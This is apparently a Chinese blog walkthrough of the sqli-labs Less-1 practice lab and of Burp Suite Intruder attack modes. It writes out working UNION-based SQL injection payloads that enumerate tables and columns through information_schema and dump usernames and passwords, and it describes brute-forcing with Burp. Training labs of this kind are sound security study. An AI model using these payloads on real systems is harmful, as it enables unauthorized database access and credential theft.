sqlilabs靶场通关详解

文章目录

1、less-1详解

1.1、源码分析

  • 函数作用参考官方文档php手册

  • isset --- 检测变量是否已声明并且其值不为 null

  • fopen --- 打开文件或者 URL

  • fopen中的mode 参数指定了所要求到该流的访问类型

mode 说明
' r ' 只读,将文件指针指向文件头。
' r+ ' 读写,将文件指针指向文件头。
' w ' 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。
' w+ ' 读写,否则行为同 'w'。
' a ' 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加
' a+ ' 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加
  • 查询语句

1.2、测试

相关前置知识点击此处

1.2.1、判断闭合符
  • 源码分析出闭合符为单引号
1.2.2、判断列数
  • 使用order by

  • 出现Unknown column '4' in 'order clause'说明无第四列

1.2.3、判断回显位
  • id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
  • 接下来就可以使用函数获取信息
sql 复制代码
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码

相关前置知识

  • 若开源,直接下载查看即可
  • 若此时闭源,则需要进行查询
sql 复制代码
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
  • 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
  1. limit
    • 手动更改
    • 使用bp进行爆破
      在要爆破的字段前add

  • 查看返回值不一致的说明爆破成功
  1. group_concat
    • 将分组中的多个值,连接成一个字符串返回。


    • 对应的username和password会形成一个字符串
sql 复制代码
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+

2、BurpSuit使用

2.1、 Sniper(狙击手)

  • 核心逻辑:单组 Payload,多位置,逐个测试。

  • 执行流程:假设有2个位置(如参数A、参数B)和Payload集 [1, 2],则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。

  • 适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。

2.2、 Battering ram(攻城锤)

  • 核心逻辑:单组 Payload,多位置,同步填充

  • 执行流程:假设有2个位置(参数A、参数B)和Payload集 [1, 2],则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。

  • 适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。

2.3、 Pitchfork(草叉)

  • 核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。

  • 适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。

2.4、 Cluster bomb(集束炸弹)

  • 核心逻辑:多组 Payload,全排列组合。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。

  • 适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。

相关推荐
虹科网络安全30 分钟前
艾体宝干货|数据复制详解:类型、原理与适用场景
java·开发语言·数据库
2301_771717211 小时前
解决mysql报错:1406, Data too long for column
android·数据库·mysql
绘梨衣5471 小时前
Docker+FastAPI+MySQL 项目部署报错汇总
mysql·docker·fastapi
小江的记录本1 小时前
【Kafka核心】架构模型:Producer、Broker、Consumer、Consumer Group、Topic、Partition、Replica
java·数据库·分布式·后端·搜索引擎·架构·kafka
dvjr cloi1 小时前
MySQL Workbench菜单汉化为中文
android·数据库·mysql
dFObBIMmai2 小时前
MySQL主从同步中大事务导致的延迟_如何拆分大事务优化同步
jvm·数据库·python
szccyw02 小时前
mysql如何限制特定存储过程执行权限_MySQL存储过程安全访问
jvm·数据库·python
czlczl200209252 小时前
利用“延迟关联”优化 MySQL 巨量数据的深分页查询
数据库·mysql
ACP广源盛139246256733 小时前
IX8024与科学大模型的碰撞@ACP#筑牢科研 AI 算力高速枢纽分享
运维·服务器·网络·数据库·人工智能·嵌入式硬件·电脑
Elastic 中国社区官方博客3 小时前
ES|QL METRICS_INFO 和 TS_INFO:为你的时间序列数据建立目录
大数据·数据库·elasticsearch·搜索引擎·信息可视化·全文检索